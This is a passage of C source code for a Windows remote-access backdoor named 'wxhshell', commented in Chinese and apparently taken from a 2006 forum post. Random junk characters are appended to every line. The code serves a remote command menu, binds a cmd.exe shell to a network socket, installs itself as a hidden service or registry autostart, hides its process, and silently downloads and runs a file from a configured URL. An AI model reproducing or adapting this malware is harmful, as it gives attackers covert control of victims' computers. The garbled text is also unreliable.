  else { Enqs|fkbN  
`6o5[2V  
    switch(cmd[0]) { 3q`Uq`t4mR  
  i[PksT#p  
  // 帮助 ;i&t|5y~  
  case '?': { l!%V&HJV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g3\1 3<  
    break; Z xR  
  } 'PdUSv|lH  
  // 安装 &;$- &;  
  case 'i': { Fj1'z5$  
    if(Install()) MDfC%2Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~uEI}z  
    else -7A2@g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I =nvL  
    break; kl#) 0yqN0  
    } l"9$lF}  
  // 卸载 A7TV-eWG  
  case 'r': { _&PF(/w  
    if(Uninstall()) Io<L! =>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2yA+zJ 46B  
    else |}<!O@<|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8V+  
    break; _"- ,ia[D  
    } 2yndna-  
  // 显示 wxhshell 所在路径 ux>LciNq  
  case 'p': { C<N7zMwT  
    char svExeFile[MAX_PATH]; Xh`Oin}<  
    strcpy(svExeFile,"\n\r"); O\^D 6\ v  
      strcat(svExeFile,ExeFile); Q@.%^1Mp  
        send(wsh,svExeFile,strlen(svExeFile),0); nLBi} T  
    break; q:G3y[ P  
    } 4j~WrdI*  
  // 重启 5z"[{ #/  
  case 'b': { }xytV5a^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CpC6vA.R  
    if(Boot(REBOOT)) I9kBe}g3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a>Xq   
    else { SW=%>XKkh  
    closesocket(wsh); kI/%|L%6D  
    ExitThread(0); d x"9jFn  
    } p&3~n: Fo  
    break; bE2{^5iG  
    } A9M/n^61  
  // 关机 RJLhR_t7n  
  case 'd': { jN2Xoh9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ()yOK$"  
    if(Boot(SHUTDOWN)) <"x *ZT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Owm2/  
    else { +c\uBrlZQ;  
    closesocket(wsh); gO m%?sg  
    ExitThread(0); \`WAG>'l5  
    } )-S;j)(+  
    break; T%1Kh'92  
    } H^8t/h  
  // 获取shell |p":s3K"Hy  
  case 's': { ]d,#PF  
    CmdShell(wsh); R!7a;J}  
    closesocket(wsh); pOIfKd  
    ExitThread(0); P%Wl`NA P  
    break; t}Kzh`  
  } ??XtN.]7  
  // 退出 wm/>_  
  case 'x': { K${CHKFf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u %&4[zb  
    CloseIt(wsh); ~,reS:9RZ  
    break; {aWfD XB1  
    } ~Ec@hz]js  
  // 离开 tq5o  
  case 'q': { Aq{7WA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a: [m;  
    closesocket(wsh); ceNJXK  
    WSACleanup();  `/eh  
    exit(1); LZrkFkiC  
    break; (JeRJ4  
        } 7' TXR[   
  } j0IuuJ+  
  } !6{b)P  
>s"kL^  
  // 提示信息 }o9(Q8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [N guQ]B.  
} <N\#6m  
  } u3_AZ2-;  
\|Ya*8V  
  return; =!PUKa3f<  
} 5b%zpx0Y  
0 +"P 1/  
// shell模块句柄 s&Qil07 Vl  
int CmdShell(SOCKET sock) yy$7{9!  
{ ekO*(vQ~  
STARTUPINFO si; Ix'GP7-m_  
ZeroMemory(&si,sizeof(si)); }J\KnaKo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s h^&3}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5 }F6s  
PROCESS_INFORMATION ProcessInfo; >`+-Yi$(\  
char cmdline[]="cmd"; 407;M%?'A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T|lyjX$Q]9  
  return 0; zd#/zUPI  
} sK`pV8&xq  
*saO~.-;4  
// 自身启动模式 D`r_ Dz  
int StartFromService(void) 5}_DyoV  
{ &|) (lX  
typedef struct WJ(E3bb  
{ Vr%!rQ  
  DWORD ExitStatus; cy4V*zwp  
  DWORD PebBaseAddress; Ue]GHJ2  
  DWORD AffinityMask; f=*xdOB3  
  DWORD BasePriority; h5R5FzY0&  
  ULONG UniqueProcessId; H1g"09?h6o  
  ULONG InheritedFromUniqueProcessId; U0%m*i  
}   PROCESS_BASIC_INFORMATION; gSu3\keF  
IDr$Vu4LCW  
PROCNTQSIP NtQueryInformationProcess; [:\8Ug8  
F6\r"63  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'aW<C>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E>6:59+  
e8<[2J)P&  
  HANDLE             hProcess; 5T;,wQ<  
  PROCESS_BASIC_INFORMATION pbi; cE0Kvqe`  
Ok2>%e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >QM$ NIf@  
  if(NULL == hInst ) return 0; wXxk+DV@  
9b*1-1"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aj*%$!SU+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zMQ|j_ l9E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [XP3  
rnC u=n  
  if (!NtQueryInformationProcess) return 0; /4n:!6rt  
DV!) n 6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d ;W(Vm6  
  if(!hProcess) return 0; d6hso  
2KC~; 5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (J^2|9r  
g>*t"Rf:  
  CloseHandle(hProcess); y*Wl(w3  
E-q*u(IW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O<v9i4*  
if(hProcess==NULL) return 0; SRx `m,535  
3xnu SOdh  
HMODULE hMod; |k^ *  
char procName[255]; 4?{e?5)  
unsigned long cbNeeded; 7T3ub3\  
/^z5;aG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *qm@;!C  
ij=}3;L_!  
  CloseHandle(hProcess); kf<5`8  
* F T )`  
if(strstr(procName,"services")) return 1; // 以服务启动 bqDHLoB\1  
Hc{0O7  
  return 0; // 注册表启动 qSWnv`hL  
} pZ4]oK\*  
P$=Y5   
// 主模块 yy6?16@  
int StartWxhshell(LPSTR lpCmdLine) "cUCB  
{ 8+ <vumnw  
  SOCKET wsl; e.|_=Gd2/  
BOOL val=TRUE; Sy<s/x^`  
  int port=0; 4W''j[Y/  
  struct sockaddr_in door; ,,>b=r_r&  
V5{^R+_)Ya  
  if(wscfg.ws_autoins) Install(); D,rs)  
&L S&O  
port=atoi(lpCmdLine); C%csQ m  
l;dZJ_Ut$  
if(port<=0) port=wscfg.ws_port; Ysk,9MR(F  
WwF4`kxT  
  WSADATA data; 2$O @T]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?][2J  
@*gm\sU4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    TVP.)%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nVC:5ie  
  door.sin_family = AF_INET; 1wa zJj=v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hd2 X/"  
  door.sin_port = htons(port); N}3$1=@Y  
f: h.O# d>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lll]FJ1  
closesocket(wsl); Uaho.(_GP  
return 1; ='0f#>0Q  
} #D$vH  
jyt#C7mj-A  
  if(listen(wsl,2) == INVALID_SOCKET) { )k8=< =s  
closesocket(wsl); YolO-5  
return 1; ec4jiE  
} 7lvUIc?krW  
  Wxhshell(wsl); l ^*GqP5  
  WSACleanup(); Oop;Y^gG}  
KGclo-,  
return 0; Uk02VuS  
jy] hP?QG  
} Dm j^aFB0|  
wr=h=vXU[  
// 以NT服务方式启动 zOpl#%"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L$GhM!c  
{ _|S>, D'  
DWORD   status = 0; _ G!lQ)1  
  DWORD   specificError = 0xfffffff; [y73 xF   
onM ~*E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ne<"o]_M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DGx9 \8^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kN4nRW9z  
  serviceStatus.dwWin32ExitCode     = 0; n7"e 79  
  serviceStatus.dwServiceSpecificExitCode = 0; :4"SJ  
  serviceStatus.dwCheckPoint       = 0; D@yg)$;z  
  serviceStatus.dwWaitHint       = 0; yWACI aj  
HV`{YuP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -}m#uUqI  
  if (hServiceStatusHandle==0) return; 4'W|'4'b  
6EhRCl  
status = GetLastError(); Ek+L"7  
  if (status!=NO_ERROR) -~A7o3k35  
{ ~EIY(^|py  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &X +Qi  
    serviceStatus.dwCheckPoint       = 0; @+ VvZc2Y  
    serviceStatus.dwWaitHint       = 0; "msCiqF{z  
    serviceStatus.dwWin32ExitCode     = status; Tw{H+B"uVz  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,#1ke  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WYQJ +z5  
    return; FX"%  
  } _dj< xPO  
jGzs; bE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *J!oV0#1  
  serviceStatus.dwCheckPoint       = 0; \`#;J?Y|`F  
  serviceStatus.dwWaitHint       = 0; ,epKt(vl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {}?s0U$5  
} Q/6T?{\U7  
 U&PAs e  
// 处理NT服务事件,比如:启动、停止 JEX{jf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I?v)>| |Q  
{ XnQd(B`M  
switch(fdwControl) 2B_6un];W  
{ ;^ :9huN  
case SERVICE_CONTROL_STOP: c h<Fi%)  
  serviceStatus.dwWin32ExitCode = 0; GV1\8OG7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +(5H$O{h  
  serviceStatus.dwCheckPoint   = 0; 0\g;^Zpi  
  serviceStatus.dwWaitHint     = 0; e_+`%A+-  
  { 4:8#&eF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 13.v5v,l  
  } WIXzxI<)  
  return; y6'Fi(2yw  
case SERVICE_CONTROL_PAUSE: H*3f8A&@s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,~FyC_%*  
  break; ^ 3LM%B  
case SERVICE_CONTROL_CONTINUE: $=$I^hV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z9ciS";L  
  break; v@;:aN  
case SERVICE_CONTROL_INTERROGATE: j-ugsV`2=*  
  break; [UquI "  
}; j3VM !/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q;{yIa$ $  
} -8qLshQ  
9Ps:]Kp!vN  
// 标准应用程序主函数 ]DdD FLM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4x=rew>Ew  
{ Mk= tS+  
epm  t  
// 获取操作系统版本 R! ?8F4G  
OsIsNt=GetOsVer(); 0\wMlV`F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kf0zL3|   
VG+Yhm<SL  
  // 从命令行安装 E$/`7p8)  
  if(strpbrk(lpCmdLine,"iI")) Install(); m^h"VH,   
mwCNfwb:  
  // 下载执行文件 {$>*~.Wu  
if(wscfg.ws_downexe) { OekcU% C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kwfrh?  
  WinExec(wscfg.ws_filenam,SW_HIDE); WUAjb,eo  
} JiP]F J;  
&6,GX7]Fo  
if(!OsIsNt) { *%'4.He7V  
// 如果时win9x,隐藏进程并且设置为注册表启动 #O^H? 3Q3  
HideProc(); [X)+(-J  
StartWxhshell(lpCmdLine); YWM$%   
} zY(*Xk  
else .t xgb  
  if(StartFromService()) j*Q/vY!T  
  // 以服务方式启动 Gp$[u4-6M6  
  StartServiceCtrlDispatcher(DispatchTable); nTY`1w.;  
else @.T'  
  // 普通方式启动 |A 7Yv  
  StartWxhshell(lpCmdLine);  b#P ,  
0F`@/C1y55  
return 0; >Fz_]z   
}
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只看该作者 1 发表于: 2006-10-10
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